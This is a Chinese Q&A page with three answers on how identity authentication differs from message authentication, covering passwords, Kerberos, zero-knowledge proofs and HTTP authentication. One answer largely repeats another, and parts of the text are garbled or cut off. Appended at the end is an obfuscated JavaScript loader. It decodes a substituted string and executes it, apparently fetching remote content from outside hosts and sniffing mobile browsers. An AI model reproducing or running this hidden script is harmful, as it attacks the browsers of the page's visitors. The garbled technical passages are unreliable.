计算机中身份认证和消息认证的区别

2025-02-05 18:55:35
推荐回答(3个)
回答1:

1、性质不同

身份认证指通过一定的手段,完成对用户身份的确认。

消息认证(message authentication)指验证消息的完整性,当接收方收到发送方的报文时,接收方能够验证收到的报文是真实的和未被篡改的。它包含两层含义:验证信息的发送者是真正的而不是冒充的,即数据起源认证;验证信息在传送过程中未被篡改、重放或延迟等。

2、目的不同

身份验证的目的为确认当前所声称为某种身份的用户,确实是所声称的用户。在日常生活中,身份验证并不罕见;比如,通过检查对方的证件,我们一般可以确信对方的身份。虽然日常生活中的这种确认对方身份的做法也属于广义的“身份验证”,但“身份验证”一词更多地被用在计算机、通信等领域。

消息认证目的为了防止传输和存储的消息被有意无意的篡改。



3、方法不同

身份验证的方法有很多,基本上可分为:基于共享密钥的身份验证、基于生物学特征的身份验证和基于公开密钥加密算法的身份验证。不同的身份验证方法,安全性也各有高低。

消息认证包括消息内容认证(即消息完整性认证)、消息的源和宿认证(即身份认证0)、及消息的序号和操作时间认证等。它在票据防伪中具有重要应用(如税务的金税系统和银行的支付密码器)。

参考资料来源:百度百科-身份验证

参考资料来源:百度百科-消息认证

回答2:

计算机身份认证的技术分析和比较

摘要:本文综合评价了某些认证机制和方案的优劣,并分析了身份认证的理论和应用,列举了一些对身份认证的各种实现方法、技术现状及发展趋势,同时设计了一个利用数字签名实现的简单的身份认证方案。
关键词:身份认证技术 分析 比较 运用
随着网络时代的到来,人们可以通过网络得到各种各样的信息。但由于网络的开放性,它正面临着如计算机病毒、人为的恶意攻击、网络软件的漏洞和“后门”、非授权访问等安全威胁。因此,网络安全越来越受到重视。作为网络安全的第一道防线,亦即是最重要的一道防线,身份认证技术受到普遍关注。
一、基于秘密信息的身份认证方法 
1、口令核对
口令核对是系统为每一个合法用户建立一个用户名/口令对,当用户登录系统或使用某项功能时,提示用户输入自己的用户名和口令,系统通过核对用户输入的用户名、口令与系统内已有的合法用户的用户名/口令对(这些用户名/口令对在系统内是加密存储的)是否匹配,如与某一项用户名/口令对匹配,则该用户的身份得到了认证。
缺点:其安全性仅仅基于用户口令的保密性,而用户口令一般较短且是静态数据,容易猜测,且易被攻击,采用窥探、字典攻击、穷举尝试、网络数据流窃听、重放攻击等很容易攻破该认证系统。
2、单向认证 
如果通信的双方只需要一方被另一方鉴别身份,这样的认证过程就是一种单向认证,即前面所述口令核对法就算是一种单向认证,只是这咱简单的单向认证还没有与密鈅分发相结合。
与密鈅分发相结合的单向认证主要有两类方案:一类采用对密鈅加密体制,需要一个可信赖的第三方―――通常称为KDC(密鈅分发中心)或AS (认证服务器),同这个第三方来实现通信双方的身份认证和密鈅分发如DES算法,优点运算量小、速度快、安全度高,但其密鈅的秘密分发难度大;另一类采用非对称密鈅加密体制,加密和解密使用不同的密鈅SK,无需第三方参与,典型的公鈅加密算法有RSA。认证优点能适应网络的开放性要求,密鈅管理简单,并且可方便地实现数字签名和身份认证等功能,是目前电子商务等技术的核心基础。其缺点是算法复杂。
3、双向认证
双向认证中,通信双方需要互相鉴别各自的身分,然后交换会话密鈅,典型方案是Needham/Schroeder协议。优点保密性高但会遇到消息重放攻击。
4、身份的零知识证明
通常的身份认证都要求传输口令或身份信息,但如果能够不传输这些信息身份也得到认证就好了。零知识证明就是这样一种技术:被认证方A掌握某些秘密信息,A想设法让认证方B相信他确实掌握那些信息,但又不想让认证方B知道那些信息。
如著名的Feige-Fiat-shamir零知识身份认证协议的一个简化方案。
假设可信赖仲裁选定一个随机模数n,n为两个大素乘积,实际中至少为512位或长达1024位。仲裁方产生随机数V,使X2=V mod n,即V为模n的剩余,且有V-1mod n存在。以V作为证明者的公鈅,而后计算最小的整数s:s=sqrt(v-1)mod n作为被认证方的私鈅。实施身份证明的协议如下:被认证方A取随机数r,这里r这是一轮鉴定,A和B可将此协议重复t次,直到A相信B知道S为止。
二、基于物理安全性的身份认证方法
尽管前面提到的身份认证方法在原理上有很多不同,但他们有一个共同的特点,就是只依赖于用户知道的某个秘密的信息。与此对照,另一类身份认证方案是依赖于用户特有的某些生物学信息或用户持有的硬件。
基于生物学的方案包括基于指纹识别的身份认证、基于声音识别身份认证以及基于虹膜识别的身份认证等技术。该技术采用计算机的强大功能和网络技术进行图像处理和模式识别,具有很好的安全性、可靠性和有效性,与传统的身份确认手段相比,无疑产生了质的飞跃。近几年来,全球的生物识别技术已从研究阶段转向应用阶段,对该技术的研究和应用如火如茶,前景十分广阔。
三、身份认证的应用
1、Kerberos是MIT为分布式网络设计的可信第三方认证协议。网络上的Kerberos服务起着可信仲裁者的作用,它可提供安全的网络认证,允许个人访问网络中不同的机器。Kerberos基于对称密码技术(采用DES进行数据加密,但也可用其他算法替代),它与网络上的每个实体分别共享一个不同的密鈅,是否知道该密鈅便是身份的证明。其设计目标是通过密鈅系统为客户/服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。 Kerberos也存在一些问题: Kerberos服务服务器的损坏将使得整个安全系统无法工作;AS在传输用户与TGS间的会话密鈅时是以用户密鈅加密的,而用户密鈅是由用户口令生成的,因此可能受到口令猜测的攻击;Kerberos 使用了时间戳,因此存在时间同步问题;要将Kerberos用于某一应用系统,则该系统的客户端和服务器端软件都要作一定的修改。
2、HTTP中的身份认证
HTTP提供了一个基于口令的基本认证方法,目前,所有的Web服务器都可以通过“基本身份认证”支持访问控制。当用户请求某个页面或运行某个CGI程序时,被访问访问对象所在目录下有访问控制文件(如NCSA用.haaccess文件)规定那些用户可以访问该目录,Web服务器读取该访问控制文件,从中获得访问控制信息并要求客户提交用户名和口令对经过一定的编码(一般是Base64方式),付给服务方,在检验了用户身份和口令后,服务方才发送回所请求的页面或执行EGI程序。所以,HTTP采用的是一种明文传输的口令核对方式(传输过程中尽管进行了编码,但并没有加密),缺少安全性。用户可以先把使用SSI建立加密信道后再采用基本身份认证方式进行身份认证,而是基于IP地址的身份认证。
3、IP中的身份认证
IP协议由于在网络层,无法理解更高层的信息,所以IP协议中的身份认证实际不可能是基于用户的身份认证,而是基于IP地址的身份认证。
四、身份认证技术讨论
在计算机网络中身份认证还有其他实现途径,如数字签名技术。传送的报文用数字签名来证明其真实性,简单实例就是直接利用RSA算法和发送方的秘密密鈅。
由于数字签名有一项功能是保证信息发出者的身份真实性,即信息确实是所声称的签名人签名的,别人不能仿造,这和身份认证的情形有些相似;身份认证的核心是要确认某人确实是他所声称的身份。那么,我想应该能借用数字签名机制实现身份认证,但这可能有一个困难,如果不预先进行密鈅分发(即使是公鈅,也要有一个机制将真实的公鈅信息传递给每一个用户)。可能数字签名也无从实现。
五、结语
在实际应用中,认证方案的选择应当从系统需求和认证机制的安全性能两个方面来综合考虑,安全性能最高的不一定是最好的。如何减少身份认证机制和信息认证机制中的计算量和通信量,而同时又能提供较高的安全性能,也是信息安全领域的研究人员进一步需要研究的课题。
参考文献:
[1]美D.E.R.丹宁.密码学与数据安全,科学出版社.1991.11
[2]Derdk Atkins 等著.严伟等译.internet 网络安全专业参考手册.机械工业出版社.1998.

回答3:

计算机身份认证和消息认证的区别:
一、基于秘密信息的身份认证方法 
1、口令核对
口令核对是系统为每一个合法用户建立一个用户名/口令对,当用户登录系统或使用某项功能时,提示用户输入自己的用户名和口令,系统通过核对用户输入的用户名、口令与系统内已有的合法用户的用户名/口令对(这些用户名/口令对在系统内是加密存储的)是否匹配,如与某一项用户名/口令对匹配,则该用户的身份得到了认证。
缺点:其安全性仅仅基于用户口令的保密性,而用户口令一般较短且是静态数据,容易猜测,且易被攻击,采用窥探、字典攻击、穷举尝试、网络数据流窃听、重放攻击等很容易攻破该认证系统。
2、单向认证 
如果通信的双方只需要一方被另一方鉴别身份,这样的认证过程就是一种单向认证,即前面所述口令核对法就算是一种单向认证,只是这咱简单的单向认证还没有与密鈅分发相结合。
与密鈅分发相结合的单向认证主要有两类方案:一类采用对密鈅加密体制,需要一个可信赖的第三方―――通常称为KDC(密鈅分发中心)或AS (认证服务器),同这个第三方来实现通信双方的身份认证和密鈅分发如DES算法,优点运算量小、速度快、安全度高,但其密鈅的秘密分发难度大;另一类采用非对称密鈅加密体制,加密和解密使用不同的密鈅SK,无需第三方参与,典型的公鈅加密算法有RSA。认证优点能适应网络的开放性要求,密鈅管理简单,并且可方便地实现数字签名和身份认证等功能,是目前电子商务等技术的核心基础。其缺点是算法复杂。
3、双向认证
双向认证中,通信双方需要互相鉴别各自的身分,然后交换会话密鈅,典型方案是Needham/Schroeder协议。优点保密性高但会遇到消息重放攻击。
4、身份的零知识证明
通常的身份认证都要求传输口令或身份信息,但如果能够不传输这些信息身份也得到认证就好了。零知识证明就是这样一种技术:被认证方A掌握某些秘密信息,A想设法让认证方B相信他确实掌握那些信息,但又不想让认证方B知道那些信息。
如著名的Feige-Fiat-shamir零知识身份认证协议的一个简化方案。
假设可信赖仲裁选定一个随机模数n,n为两个大素乘积,实际中至少为512位或长达1024位。仲裁方产生随机数V,使X2=V mod n,即V为模n的剩余,且有V-1mod n存在。以V作为证明者的公鈅,而后计算最小的整数s:s=sqrt(v-1)mod n作为被认证方的私鈅。实施身份证明的协议如下:被认证方A取随机数r,这里r这是一轮鉴定,A和B可将此协议重复t次,直到A相信B知道S为止。
二、基于物理安全性的身份认证方法
尽管前面提到的身份认证方法在原理上有很多不同,但他们有一个共同的特点,就是只依赖于用户知道的某个秘密的信息。与此对照,另一类身份认证方案是依赖于用户特有的某些生物学信息或用户持有的硬件。
基于生物学的方案包括基于指纹识别的身份认证、基于声音识别身份认证以及基于虹膜识别的身份认证等技术。该技术采用计算机的强大功能和网络技术进行图像处理和模式识别,具有很好的安全性、可靠性和有效性,与传统的身份确认手段相比,无疑产生了质的飞跃。近几年来,全球的生物识别技术已从研究阶段转向应用阶段,对该技术的研究和应用如火如茶,前景十分广阔。
三、身份认证的应用
1、Kerberos是MIT为分布式网络设计的可信第三方认证协议。网络上的Kerberos服务起着可信仲裁者的作用,它可提供安全的网络认证,允许个人访问网络中不同的机器。Kerberos基于对称密码技术(采用DES进行数据加密,但也可用其他算法替代),它与网络上的每个实体分别共享一个不同的密鈅,是否知道该密鈅便是身份的证明。其设计目标是通过密鈅系统为客户/服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。
Kerberos也存在一些问题: Kerberos服务服务器的损坏将使得整个安全系统无法工作;AS在传输用户与TGS间的会话密鈅时是以用户密鈅加密的,而用户密鈅是由用户口令生成的,因此可能受到口令猜测的攻击;Kerberos 使用了时间戳,因此存在时间同步问题;要将Kerberos用于某一应用系统,则该系统的客户端和服务器端软件都要作一定的修改。
2、HTTP中的身份认证
HTTP提供了一个基于口令的基本认证方法,目前,所有的Web服务器都可以通过“基本身份认证”支持访问控制。当用户请求某个页面或运行某个CGI程序时,被访问访问对象所在目录下有访问控制文件(如NCSA用.haaccess文件)规定那些用户可以访问该目录,Web服务器读取该访问控制文件,从中获得访问控制信息并要求客户提交用户名和口令对经过一定的编码(一般是Base64方式),付给服务方,在检验了用户身份和口令后,服务方才发送回所请求的页面或执行EGI程序。所以,HTTP采用的是一种明文传输的口令核对方式(传输过程中尽管进行了编码,但并没有加密),缺少安全性。用户可以先把使用SSI建立加密信道后再采用基本身份认证方式进行身份认证,而是基于IP地址的身份认证。
3、IP中的身份认证
IP协议由于在网络层,无法理解更高层的信息,所以IP协议中的身份认证实际不可能是基于用户的身份认证,而是基于IP地址的身份认证。
四、身份认证技术讨论
在计算机网络中身份认证还有其他实现途径,如数字签名技术。传送的报文用数字签名来证明其真实性,简单实例就是直接利用RSA算法和发送方的秘密密鈅。
由于数字签名有一项功能是保证信息发出者的身份真实性,即信息确实是所声称的签名人签名的,别人不能仿造,这和身份认证的情形有些相似;身份认证的核心是要确认某人确实是他所声称的身份。那么,我想应该能借用数字签名机制实现身份认证,但这可能有一个困难,如果不预先进行密鈅分发(即使是公鈅,也要有一个机制将真实的公鈅信息传递给每一个用户)。可能数字签名也无从实现。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();